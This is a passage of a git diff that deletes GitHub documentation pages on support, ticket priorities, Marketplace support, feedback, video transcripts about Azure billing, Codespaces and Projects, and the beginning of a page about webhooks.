subscribe and get alerted via email, text message, and webhook whenever there's an incident affecting {% data variables.product.github %}. - -You can also use the {% data variables.product.company_short %} Status API to check for incidents. For more information, see [{% data variables.product.company_short %} Status API](https://www.githubstatus.com/api/). - -{% endif %} - -{% ifversion ghec or ghes %} - -## About support entitlement - -Enterprise owners and billing managers automatically have a support entitlement, which enables them to create, view, and comment on support tickets associated with their enterprise account. - -Enterprise owners can also add support entitlements to members of organizations owned by their enterprise account, allowing those members to create, view, and comment on support tickets. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). - -{% endif %} - -## About {% data variables.product.prodname_copilot_in_support %} - -You can receive answers to questions relating to {% data variables.product.github %}'s products and features before submitting a support ticket by using {% data variables.product.prodname_copilot_in_support %}. {% data variables.product.prodname_copilot_in_support %} is an AI-powered tool that uses a large language model to find answers to a wide variety of support queries. If {% data variables.product.prodname_copilot_in_support %} cannot answer your question, You can proceed with submitting your ticket to {% data variables.contact.github_support %}. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-copilot-in-github-support). - -{% ifversion fpt or ghec %} - -## Granting {% data variables.contact.github_support %} temporary access to a private repository - -If {% data variables.contact.github_support %} needs to access a private repository to address your support request, the owner of the repository will receive an email with a link to accept or decline temporary access. The owner will have 20 days to accept or decline the request before the request expires. If the owner accepts the request, {% data variables.contact.github_support %} will have access to the repository for five days. During this window, {% data variables.contact.github_support %} staff with the required privileges can unlock the repository for up to two hours at a time, and will relock the repository if the work is completed early. All {% data variables.contact.github_support %} staff access generates audit log events, and the visibility of the repository is not affected at any time. - -{% data variables.contact.github_support %} will never access your private repositories without your explicit consent. For more information, see the [Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service#3-access). -{% endif %} - -{% ifversion ghec or ghes %} - -## Contacting GitHub Sales and GitHub Training - -For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %}. - -To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/). - -> [!NOTE] -> Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support). - -{% endif %} - -{% ifversion ghes or ghec %} - -## Hours of operation - -### Support in English - -For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. - -{% ifversion ghes %} -For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. -{% endif %} - -### Support in Japanese - -For standard non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. - -{% ifversion ghes %} -For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. -{% endif %} - -For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see [Holiday schedules](#holiday-schedules). - -## Holiday schedules - -For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. - -### Holidays in the United States - -{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. - -{% data reusables.enterprise_enterprise_support.support-holiday-availability %} - -### Holidays in Japan - -{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). - -{% data reusables.enterprise_enterprise_support.installing-releases %} - -{% endif %} - -{% ifversion ghec or ghes %} - -## Resolving and closing support tickets - -{% data reusables.support.enterprise-resolving-and-closing-tickets %} - -{% endif %} - -## Further reading - -{%- ifversion ghes %} -* Section 10 on Support in the [{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license) -{%- endif %} -* [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket) -* [AUTOTITLE](/support/contacting-github-support/viewing-and-updating-support-tickets) diff --git a/content/support/learning-about-github-support/about-ticket-priority.md b/content/support/learning-about-github-support/about-ticket-priority.md deleted file mode 100644 index b6eaf6a6bd48..000000000000 --- a/content/support/learning-about-github-support/about-ticket-priority.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: About ticket priority -intro: Support tickets are assigned a priority based on the circumstances of the issue and impact to you and your team. -shortTitle: Ticket priority -versions: - ghec: '*' - ghes: '*' -topics: - - Support ---- - -## About ticket priorities - -When you contact {% data variables.contact.github_support %}, {% data variables.product.company_short %} will choose a priority for the ticket: - -* {% data variables.product.support_ticket_priority_low %} -* {% data variables.product.support_ticket_priority_normal %} -* {% data variables.product.support_ticket_priority_high %} -* {% data variables.product.support_ticket_priority_urgent %} {% ifversion ghec %}([{% data variables.contact.premium_support %}](/support/learning-about-github-support/about-github-premium-support) only){% endif %} - -{% data reusables.support.zendesk-old-tickets %} - -Ticket priority helps to ensure that support requests are handled in order, and according to their circumstances and impact. - -{% data reusables.support.github-can-modify-ticket-priority %} - -## Ticket priorities - -{% ifversion ghec %} - -| Priority | Description | Examples | -| :---: | --- | --- | -| {% data variables.product.support_ticket_priority_urgent %}

([{% data variables.contact.premium_support %}](/support/learning-about-github-support/about-github-premium-support) only) | Production workflows for your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are failing due to critical service errors or outages, and the failure directly impacts the operation of your business. |
  • Errors or outages on {% data variables.product.prodname_ghe_cloud %} affect core Git or web application functionality for all members of your organization or enterprise
| -| {% data variables.product.support_ticket_priority_high %} | Account or security issues with your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are causing limited impact to your business. |
  • An organization or enterprise owner has unintentionally deleted an organization
  • An organization or enterprise member has uploaded sensitive data in a commit, issue, pull request, or issue attachment
| -| {% data variables.product.support_ticket_priority_normal %} | Members of your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are experiencing limited or moderate issues with {% data variables.product.prodname_ghe_cloud %}, or you have general concerns or questions about your organization or enterprise. |
  • Questions about using APIs and features for your organization or enterprise, including rate limits
  • API request failures due to rate limits
  • Issues with tools for organization data migration that {% data variables.product.company_short %} provides
  • Features related to your organization or enterprise not working as expected
  • General security questions about your organization or enterprise
| -| {% data variables.product.support_ticket_priority_low %} | You have a question or suggestion about your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} that is not time-sensitive, or does not otherwise block the productivity of your team. |
  • Excessive resource usage for your organization or enterprise
  • Requests for health checks
  • Help with using Gists, notifications, wikis, {% data variables.product.prodname_pages %}, {% data variables.product.prodname_desktop %}, or other peripheral services or features with your organization or enterprise
  • Feature requests
  • Product feedback
| - -{% endif %} -{% ifversion ghes %} - -| Priority | Description | Examples | -| :---: | --- | --- | -| {% data variables.product.support_ticket_priority_urgent %} | {% data variables.product.prodname_ghe_server %} is failing in a production environment, and the failure directly impacts the operation of your business.

_{% data reusables.support.priority-urgent-english-only %}_ |
  • Errors or outages that affect core Git or web application functionality for all users
  • Severe performance degradation for majority of users
  • Full or rapidly filling storage
  • Inability to install a renewed license file
  • Security incident
  • Loss of administrative access to the instance with no known workaround
  • Failure to restore a backup to a production environment
| -| {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_ghe_server %} is failing in a production environment, but impact on your business is limited. |
  • Performance degradation that reduces productivity for many users
  • Reduced redundancy from failure of High Availability (HA) or cluster nodes
  • Failure to back up instance
  • Failure to restore a backup to a test or staging environment that could compromise successful restoration to a production environment
| -| {% data variables.product.support_ticket_priority_normal %} | You're experiencing limited or moderate issues with {% data variables.product.prodname_ghe_server %}, or you have general concerns or questions about the operation of your instance. |
  • Problems in a test or staging environment
  • Advice on using {% ifversion fpt or ghec %}{% data variables.product.github %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} APIs and features including rate limits, or questions about configuring third-party integrations from your instance
  • API request failures due to rate limits
  • Issues with tools for user data migration that {% data variables.product.company_short %} provides
  • Upgrades
  • Bug reports
  • Features not working as expected
  • General security questions
| -| {% data variables.product.support_ticket_priority_low %} | You have a question or suggestion about {% data variables.product.prodname_ghe_server %} that is not time-sensitive, or does not otherwise block the productivity of your team. |
  • Feature requests
  • Product feedback
  • Requests for health checks (available for customers with a {% data variables.product.premium_support_plan %} only at this time)
  • Notifying {% data variables.product.company_short %} of planned maintenance on your instance
| - -{% endif %} - -## Ticket priorities for {% data variables.product.prodname_GHAS %} features - -All tickets regarding security features follow this logic for ticket prioritization. - -| Priority | Description | -| :---: | --- | -| {% data variables.product.support_ticket_priority_high %} | A feature is not functioning or is stopped or severely impacted such that the end user cannot reasonably continue use of the software and no workaround is available. | -| {% data variables.product.support_ticket_priority_normal %} | A feature is functioning inconsistently, causing impaired end user usage and productivity. | -| {% data variables.product.support_ticket_priority_low %} | A feature is functioning consistently, but the end user requests minor changes in the software, such as documentation updates, cosmetic defects, or enhancements.| - -## Ticket priorities for {% data variables.product.prodname_actions_runner_controller %} (ARC) - -| Priority | Description | Examples | -| :---: | --- | --- | -| {% data variables.product.support_ticket_priority_urgent %}{% ifversion ghec %}

([{% data variables.contact.premium_support %}](/support/learning-about-github-support/about-github-premium-support) only){% endif %} | Issues that critically impact the functionality of GitHub-supported ARC in an existing production environment. This excludes disruptions caused by Kubernetes components, missing dependencies, third-party software (such as proxy servers), or other changes made by your teams. | ARC fails to create pods/start job/remove pods, or ARC has a significant bug affecting production and a rollback is not possible. | -| {% data variables.product.support_ticket_priority_high %} | Issues that affect the performance of {% data variables.product.github %}-supported ARC in an existing production environment but do not result in a complete system failure. | Delays in pod termination or assignment of jobs to pods, where the delay is not in line with expectations but does not entirely halt the workflow. | -| {% data variables.product.support_ticket_priority_normal %} / {% data variables.product.support_ticket_priority_low %} | Any other minor issues not classified as {% data variables.product.support_ticket_priority_urgent %} or {% data variables.product.support_ticket_priority_high %} should be directed to [the open source {% data variables.product.prodname_actions_runner_controller %} repository](https://github.com/actions/actions-runner-controller) issues/discussions. | Customization, performance analysis, initial setup. | - -For more information about what {% data variables.contact.github_support %} can assist with, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller). - -If you are uncertain if the issue is out of scope, contact {% data variables.contact.contact_support_page %} and we're happy to help you determine the best way to proceed. - -## Further reading - -* [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket) diff --git a/content/support/learning-about-github-support/github-marketplace-support.md b/content/support/learning-about-github-support/github-marketplace-support.md deleted file mode 100644 index 0e46653e17a2..000000000000 --- a/content/support/learning-about-github-support/github-marketplace-support.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: GitHub Marketplace support -intro: 'When you encounter issues using an app in {% data variables.product.prodname_marketplace %}, you can contact the support team for the app.' -shortTitle: Marketplace support -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /articles/github-marketplace-support - - /github/working-with-github-support/github-marketplace-support -topics: - - Support ---- - -## Contacting your app's provider for support - -Every app in {% data variables.product.prodname_marketplace %} includes a link to contact the app's support team. - -{% data reusables.marketplace.visit-marketplace %} -1. Browse to your app's page. -1. In the left sidebar, under "Developer tools," click **Support**. -1. On the app's support page, follow the instructions on the app's page to contact the app's support team. - -## Further reading - -* [AUTOTITLE](/apps/using-github-apps) -* [AUTOTITLE](/billing/managing-billing-for-github-marketplace-apps) diff --git a/content/support/learning-about-github-support/index.md b/content/support/learning-about-github-support/index.md deleted file mode 100644 index 8a2ea8614180..000000000000 --- a/content/support/learning-about-github-support/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Learning about GitHub Support -shortTitle: About GitHub Support -intro: 'You can learn more about getting in touch with {% data variables.contact.github_support %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /enterprise/admin/enterprise-support/overview - - /admin/enterprise-support/overview -children: - - about-github-support - - about-github-premium-support - - about-copilot-in-github-support - - about-ticket-priority - - github-marketplace-support ---- - diff --git a/content/support/sharing-feedback-with-github.md b/content/support/sharing-feedback-with-github.md deleted file mode 100644 index 6fcca3b3e25e..000000000000 --- a/content/support/sharing-feedback-with-github.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Sharing feedback with GitHub -intro: "You can share your ideas, thoughts, and feedback with {% data variables.product.company_short %}'s Product team and upvote feedback left by others." -versions: - fpt: '*' -topics: - - Support -shortTitle: Sharing feedback ---- - -> [!IMPORTANT] -> If you're a {% data variables.product.prodname_enterprise %} customer, contact {% data variables.contact.github_support %} who will share your feedback with the Product team. For more information, see "Creating a support ticket" in either the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/support/contacting-github-support/creating-a-support-ticket) or [{% data variables.product.prodname_ghe_server %} documentation](/enterprise-server@latest/support/contacting-github-support/creating-a-support-ticket). - -## About sharing feedback - -You can connect with {% data variables.product.company_short %}'s Product team and share feedback using {% data variables.product.prodname_discussions %}. The {% data variables.contact.community_feedback_discussions %} repository is public which means other people can view, upvote, and comment on feedback discussions. - -{% data variables.product.company_short %}'s Product team reads and evaluates all feedback received but we can't guarantee a response to every discussion. - -## 1. Locating the correct discussion category - -Most {% data variables.product.company_short %} product areas have their own feedback discussion category which are monitored by the respective teams at {% data variables.product.company_short %}. - -1. In your browser, navigate to https://github.com/orgs/community/discussions. -1. In the list of categories, under "GitHub Product Categories", click on the product area that's relevant for your feedback. - - > [!NOTE] - > If you're unsure if a particular category is the correct choice for your feedback, click on it, and read the description that is shown beneath the category name. - -## 2. Searching for existing feedback - -Before creating a new feedback discussion, you should search for any existing discussions that have raised the same feedback. You can add your voice to the existing feedback by upvoting the discussion or adding a comment providing more context for the Product team. - -1. After locating the correct discussion category, type some search terms in the search bar and press Return. - - * For example, if you have feedback about how contributions are displayed on your profile, you could search for "Contributions" in the "Profile" category. - -1. Browse the search results and if you find an existing discussion that is similar to your feedback, click the title of the discussion. -1. To add your voice and give more visibility to the discussion, click the upvote arrow at the bottom of the discussion post. - - ![Screenshot a feedback discussion post. A button, labeled with an upwards arrow, is outlined in orange.](/assets/images/help/support/upvote-discussion.png) - -1. Optionally, if you have more context or information to add to the post, type your message into the textbox at the bottom of the page, and click **Comment**. - -## 3. Creating a new feedback discussion - -If there isn't an existing feedback discussion that you can upvote, you can create a new discussion to share your feedback with {% data variables.product.company_short %}'s Product team. - -1. Above the list of discussions in your chosen category, click **New discussion**. -1. Under "Add a title", type a short summary of your feedback. -1. Under "Select Topic Area", select **Product Feedback**. -1. Under "Body", type your feedback for the {% data variables.product.company_short %} Product team. - - * Include as much information as possible to help the team understand your feedback. - * If your feedback is related to a specific scenario or workflow, include information about what you were trying to do. - * You can also include screenshots to demonstrate what your feedback is about. - -1. To confirm that you've looked for existing feedback that you could have upvoted, select **I have done a search for similar discussions**. -1. Click **Start discussion**. diff --git a/content/video-transcripts/index.md b/content/video-transcripts/index.md deleted file mode 100644 index 7444fd8e0acc..000000000000 --- a/content/video-transcripts/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Video transcripts -hidden: true -intro: 'Find audio and visual transcripts for videos linked from this site.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Transcripts -children: - - transcript-codespaces-your-instant-dev-box-in-the-cloud - - transcript-using-projects-for-feature-planning - - transcript-billing-github-consumption-through-an-azure-subscription ---- \ No newline at end of file diff --git a/content/video-transcripts/transcript-billing-github-consumption-through-an-azure-subscription.md b/content/video-transcripts/transcript-billing-github-consumption-through-an-azure-subscription.md deleted file mode 100644 index cb55d766cd09..000000000000 --- a/content/video-transcripts/transcript-billing-github-consumption-through-an-azure-subscription.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Transcript - "Billing GitHub consumption through an Azure subscription" -intro: Audio and visual transcript. -shortTitle: Billing through Azure -allowTitleToDifferFromFilename: true -product_video: 'https://www.youtube.com/watch?v=Y-f7JKJ4_8Y' -topics: - - Transcripts -versions: - fpt: '*' - ghec: '*' ---- - -[Title card: "GitHub consolidated billing on Azure."] - -T.J.: Hello, everyone. Thank you for joining us to learn how you can bill your GitHub consumption through Azure. - -During this video, we will share the benefits of billing through Azure, review eligible GitHub products, demo the process step by step, and share resources to help you move forward. - -Let's start with why so many customers are already billing their GitHub consumption through Azure. The key benefits are consolidation, visibility, and commercials. - -From a consolidation standpoint, joint GitHub and Microsoft customers will be able to see all their GitHub consumption on their Azure invoice, eliminating the need for additional invoices and saving time on the procurement process. - -From a visibility perspective, GitHub customers will be able to leverage all the powerful tools and features of the Azure billing portal to gain enhanced visibility into their GitHub consumption spend. - -And finally, if a Microsoft customer has an Azure discount, it will automatically be applied to all future GitHub consumption billed through Azure. - -If a Microsoft customer also has a Microsoft Azure Consumption Commitment, or MACC, all future GitHub consumption will decrement their MACC as well. - -So what GitHub products are eligible for Azure billing? Any GitHub consumption products are eligible today, meaning products that customers pay for based on actual usage, including things like GitHub Copilot, GitHub-hosted actions, larger hosted runners, GitHub Packages and storage, and GitHub Codespaces. - -Historically, GitHub Enterprise and {% data variables.product.prodname_AS %} were only available through an annual license. However, as of August 1, 2024, they are now also available for metered billing through Azure, for additional flexibility and pay-as-you-go pricing. For existing licensed customers, be sure to connect with your GitHub seller to learn more, as certain restrictions may apply. - -[A table shows eligibility for Azure billing and MACCs for the products mentioned. In the table, all products eligible for Azure billing are also eligible for MACCs.] - -T.J.: Now let's jump into a demo to see how to actually turn this on. - -[He shares his screen. He's on the home page of the Microsoft Azure portal.] - -T.J.: The first step in the process is to set up an admin consent workflow to allow your GitHub enterprise owner the ability to request the installation of a new application. This can be done by logging in to the Azure portal and opening up Microsoft Entra ID. - -From here, you'll need to click on "Enterprise Applications", and then under the "Security" section, "Consent and permissions". Finally, click "Admin consent settings". - -From here, you'll need to actually turn this on if it's not already enabled. So I'm going to go ahead and click "Yes". - -[In the settings, under "Users can request admin consent to apps they are unable to consent to", he switches a toggle to "Yes".] - -T.J.: And you'll need to add who has the ability to approve these requests. This would normally be yourself, the global admin, or potentially a team that you're a member of. - -Once you're happy with the settings, you can go ahead and click "Save". From here, you'll need to wait about an hour for these settings to replicate across Azure before you can proceed with the next step. - -Now I'll hand it over to the GitHub enterprise owner to actually request the application be installed. - -[The enterprise owner, Brian, shares his screen. He's looking at an enterprise account on GitHub.] - -Brian: So to start the process of linking an Azure subscription, I need to go to the settings for my enterprise, and underneath "Settings", you'll see there's an option here for billing. Then, under the various settings here, I'm going to go over to "Payment information", and finally "Add Azure Subscription". So I'm gonna click that link. - -[A Microsoft page: "Approval required".] - -Brian: Now once I sign in, it says approval is required from my Azure administrator, so I'm going to say, "Need to have GitHub paid," and let's select "Request approval". - -Now, at this point it says, "Hey, the request has been sent," so I'm gonna go back to my application and it's going to say, "Hey, we're not ready yet." - -[On the enterprise on GitHub, an error message says: "Authentication with Azure failed."] - -Brian: I'm going to go back into my subscription and I'm going to wait to hear from my administrator who will let me know when this is done. - -So now let's switch over back to T.J., and T.J., can you show us the approval process? - -[Back on the Azure portal.] - -T.J.: Your Entra global administrator should receive an email notification to approve a new request. To do so, they can go back into Entra ID, go to "Enterprise applications", and then look for "Admin consent requests" down under the "Activity" section. - -Here you'll see the pending request to install the GitHub Subscription Permission Validator. I can go ahead and click here and review the permissions and consent on behalf of my organization. - -It'll pop up asking me to reauthenticate, and then I can see the exact permissions that it's requesting. In this case, this application is just going to have access to see the users and be able to understand which subscriptions they're in ownership of to make sure that they have permissions to bill against it. - -So if I'm happy with this, I can go ahead and hit "Accept". And that's all I need to do. I can hand it back over to the GitHub enterprise owner to finish the last step. - -[Back in the enterprise on GitHub.] - -Brian: Okay. Well, I checked my email and my administrator approved from the Azure side that we can set up billing. So I'll go back into "Settings", go to "Billing" again, go to "Payment information", "Add Azure Subscription". - -[A dialog displays, labeled "Select a subscription".] - -Brian: Okay. Now that I've been authenticated, we see what subscription I'm hooking up to. I'm going to click it, click "Connect". - -[On the main "Payment information" page, under "Metered billing settings".] - -Brian: With my billing subscription selected, the last thing I need to do is select "Enable metered billing through Azure", and click "Update metered billing settings". - -At this point, the eligible items within my subscriptions, as we described earlier in the slides, will now be billed to the selected subscription. - -T.J.: Thanks so much for joining us today. For future reference, we are also sharing two helpful resources to help you bill GitHub consumption through Azure in the future. And if you have a dedicated GitHub and/or Microsoft account team, please don't hesitate to reach out to them for additional information. Thanks. - -End of transcript. For more information, see [AUTOTITLE](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription) and [Get subscription and tenant IDs in the Azure portal](https://learn.microsoft.com/en-us/azure/azure-portal/get-subscription-tenant-id) in the Microsoft documentation. diff --git a/content/video-transcripts/transcript-codespaces-your-instant-dev-box-in-the-cloud.md b/content/video-transcripts/transcript-codespaces-your-instant-dev-box-in-the-cloud.md deleted file mode 100644 index a1b280601592..000000000000 --- a/content/video-transcripts/transcript-codespaces-your-instant-dev-box-in-the-cloud.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Transcript - "Codespaces - Your instant dev box in the cloud" -intro: Audio and visual transcript. -shortTitle: Codespaces -allowTitleToDifferFromFilename: true -product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc' -topics: - - Transcripts -versions: - fpt: '*' - ghec: '*' ---- - -[A developer wearing a blue t-shirt sits at home, behind a mic and a pop shield decorated with GitHub's Octocat logo. The developer shares their screen while still showing on webcam in the upper-right corner. On their screen, they are looking at a GitHub repository called "js-project".] - -Developer: So, today we're gonna run my JavaScript project in GitHub Codespaces. - -[On the repository page, above the list of files, the developer selects the "Code" button to open a dropdown menu. They click "Open with Codespaces", then click "New codespace".] - -Developer: So while we're creating our codespace, you might have the question, "What even is a codespace?" - -[In the browser, the codespace loads. On a white background, the text "Preparing your codespace" is displayed below GitHub's Octocat logo and a VS Code logo.] - -Developer: A codespace is an instant cloud developer environment, where we can run, test, debug, push: everything that we're used to doing in a development environment, but without any of the machine setup we're used to doing locally. - -[The codespace opens in the VS Code web editor in the browser, running with the dark theme. Directories and files from the repository are displayed in the left sidebar. In an integrated terminal, a message says, "Welcome to Codespaces," and lists included runtimes and tools.] - -Developer: So when we create this codespace, you'll see we land in a machine that is already set up, and it has Python, Node, Docker, and even more, so it has tools like Java and Rust and Go and C++. - -But you'll see we landed in the default image. The great thing about Codespaces is you can fully customize your setup, not only for you, but for everyone else who comes along in this repository. So you can have a "config-as-code" setup that allows you to use your own image, or Dockerfile, or Docker Compose. - -So for our app, we're actually just gonna go ahead and start it up. So I'm gonna run `npm start` here, and you'll see that we're told our app is running on port 3000, and we can open it in the browser and connect securely to a forwarded port that has our app fully up and running. - -[A popup is displayed for the forwarded port. On the popup, the developer clicks a button labeled "Open in browser". A new browser tab opens showing a web page titled "Haikus for Mona". On the web page, a cartoon image shows a grinning Mona the Octocat skipping over a puddle with a purple umbrella. Below the image, a haiku: "Rain in Seattle. Don't forget an umbrella, or it will be gloom."] - -Developer: So you'll see here's my Node app, up and running, connected to in a codespace. And this took us about 60 seconds to get set up in Codespaces. - -[The developer scrolls to an image of Mona poking a record player with her tentacle.] - -Developer: So you can imagine this fully customized, to really bring down the setup time for really every repository you have. - -And that's a quick look at GitHub Codespaces. - -End of transcript. For more information about {% data variables.product.prodname_github_codespaces %}, see the [{% data variables.product.prodname_github_codespaces %} documentation](/codespaces). diff --git a/content/video-transcripts/transcript-using-projects-for-feature-planning.md b/content/video-transcripts/transcript-using-projects-for-feature-planning.md deleted file mode 100644 index ebf31c87e143..000000000000 --- a/content/video-transcripts/transcript-using-projects-for-feature-planning.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Transcript - "Using Projects for feature planning" -intro: Audio and visual transcript. -shortTitle: Projects -allowTitleToDifferFromFilename: true -product_video: 'https://www.youtube-nocookie.com/embed/yFQ-p6wMS_Y' -topics: - - Transcripts -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -[Fast-paced, techy music plays. On a dark background, GitHub's Octocat logo fades into view. Bright neon lines swirl and branch outwards. Each line leads to something different: a button labeled "Convert to issue"; a pull request merge button marked "Ready"; a comment on a pull request, a project board, and a search field. In a green box, text: "GitHub Issues: Using Projects for feature planning." A pixelated cursor clicks: "Let's go!"] - -[The narrator shares her screen. She's looking at a table layout in a project on GitHub.] - -Narrator: Welcome. Let's take a lap around GitHub Projects and see how it supports you in tracking your feature work from beginning to end. Here we've got our OctoArcade Invaders board, and I'm ready to pick up our next feature. - -[She clicks a tab on the project labeled "Features".] - -Narrator: On our team, we have a simple process where we label the issue as a feature and build a view that focuses on all items with that label. Here we see all issues labeled as a feature. This way I can instantly see that this item is ready to be picked up and go ahead and open it to learn more. - -[She scans her cursor over rows on the table layout and clicks an item called "Player-to-player chat capability." The issue opens as an overlay over the board.] - -Narrator: Given chat is not a small set of work, I've created another product board to track all the various tasks and items that we'll need to do to enable this functionality. - -[She clicks a link in the issue comment, taking her to another project named for the issue. On the "By Area" tab, the project has a table layout, and the rows are separated into groups, like "Design," "Storage," and "Media support," based on labels in the "Area" field.] - -Narrator: In this main view, I've got my work already categorized by this custom field: Area. This is so I can split up my various issues into their appropriate workstreams or buckets. Projects is powerful because you can use these custom fields to add flexible metadata to your issues. You're not just limited by labels or adding a keyword in brackets to your issue title. - -And it's great because I can actually edit this view to group by any of these fields. - -[She clicks a dropdown icon next to the tab name, selects "Group", then scans her cursor over field options like "Status", "Iteration", and "Assignees".] - -Narrator: Now, as we're continuing to flesh out the work for this feature, I can quickly jot down additional items that we need to address by leveraging this "Add" bar. - -[She places her cursor in a text field below the "Design" group, labeled "Add item".] - -Narrator: I'll use this to add several draft issues. For example, our chat client needs a search UI, the ability to edit your friend list, and we definitely need dark mode. - -[She adds a draft issue for each requirement.] - -Narrator: You can see with this "Add" bar, I can write a title, press enter, and keep moving forward to add the next item. It's optimized to help you rapidly take notes on what needs to go into this capability. - -These are draft issues now, but it's as easy as clicking "Convert to issue" to promote them to fully fledged issues in the appropriate repository. - -[She clicks a dropdown icon next to the "Search UI" draft issue, clicks "Convert to issue", and selects from a list of repositories below a search field.] - -Narrator: As development progresses, you'll want to be able to schedule and quickly see status for your work items. This is where our board view shines. - -[She clicks a tab labeled "Iteration plan". Issues, represented as draggable boxes, are arranged into columns for different iterations.] - -Narrator: I've created one here that is grouped by iterations so we can see what's currently planned, what's coming up, and we can quickly drag items to the appropriate iteration to create our plan. - -[She drags items from "No iteration" to "Iteration 3". She clicks a "plus" icon to create a column for "Iteration 4", and drags an item there. Then, she clicks a tab labeled "By Status". Issues are arranged into columns for statuses like "Backlog" and "In Progress".] - -Narrator: Finally, we have our board view grouped by status so we can understand the state of our items at a glance. - -I'm going to add linked pull requests as a visible field here so that my teammates can hop into a PR with just one click to start reviewing and get this issue moved to done. - -[She clicks the dropdown icon next to the tab name, clicks "Title, Assignees, and Status", then selects a checkbox next to a hidden field called "Linked pull requests". In some of the issue boxes, a tag with a pull request icon and number appears.] - -Narrator: We'll be ready to ship the chat feature in no time, with Projects. - -[Blocks cover the screen. The GitHub logo and the word "Issues" appear.] - -End of transcript. For more information about {% data variables.product.prodname_projects_v2 %}, see the [{% data variables.product.prodname_github_issues %} documentation](/issues). diff --git a/content/webhooks/about-webhooks.md b/content/webhooks/about-webhooks.md deleted file mode 100644 index 723785bd2ad4..000000000000 --- a/content/webhooks/about-webhooks.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: About webhooks -intro: 'Webhooks provide a way for notifications to be delivered to an external web server whenever certain events occur on {% data variables.product.company_short %}.' -redirect_from: - - /developers/webhooks-and-events/about-webhooks - - /developers/webhooks-and-events/webhooks/about-webhooks - - /get-started/exploring-integrations/about-webhooks - - /post-receive-hooks - - /articles/post-receive-hooks - - /articles/creating-webhooks - - /articles/about-webhooks - - /github/extending-github/about-webhooks - - /get-started/customizing-your-github-workflow/exploring-integrations/about-webhooks - - /webhooks-and-events/webhooks/about-webhooks - - /webhooks/webhooks/about-webhooks - - /webhooks-and-events/webhooks/replacing-github-services - - /webhooks/replacing-github-services -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About webhooks - -Webhooks let you subscribe to events happening in a software system and automatically receive a delivery of data to your server whenever those events occur. - -Webhooks are used to receive data as it happens, as opposed to polling an API (calling an API intermittently) to see if data is available. With webhooks, you only need to express interest in an event once, when you create the webhook. - -Webhooks are used in a wide range of scenarios, including: -* Triggering CI (continuous integration) pipelines on an external CI server. For example, to trigger CI in Jenkins or CircleCI when code is pushed to a branch. -* Sending notifications about events on {% data variables.product.company_short %} to collaboration platforms. For example, sending a notification to Discord or Slack when there's a review on a pull request. -* Updating an external issue tracker like Jira. -* Deploying to a production server. -* Logging events as they happen on {% data variables.product.company_short %}, for audit purposes. - -## About webhooks on {% data variables.product.github %} - -When you create a webhook, you specify a URL and subscribe to events that occur on {% data variables.product.company_short %}. When an event that your webhook is subscribed to occurs, {% data variables.product.company_short %} will send an HTTP request with data about the event to the URL that you specified. If your server is set up to listen for webhook deliveries at that URL, it can take action when it receives one. - -For example, you could subscribe your webhook to events that occur when code is pushed to a repository, a pull request is opened, a {% data variables.product.prodname_pages %} site is built, or a new member is added to a team. Your server could respond by deploying code to production, triggering a CI pipeline, sending a notification, or creating a {% data variables.product.company_short %} project for the new team member. - -You must create a webhook within a specific repository, organization, {% ifversion ghes or ghec %}{% data variables.product.prodname_enterprise %}, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_marketplace %} account, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_sponsors %} account, {% endif %} or {% data variables.product.prodname_github_app %}. The webhook can only access resources that are available in the repository, organization, {% ifversion ghes or ghec %}{% data variables.product.prodname_enterprise %}, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_marketplace %} account, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_sponsors %} account, {% endif %} or {% data variables.product.prodname_github_app %} where it is 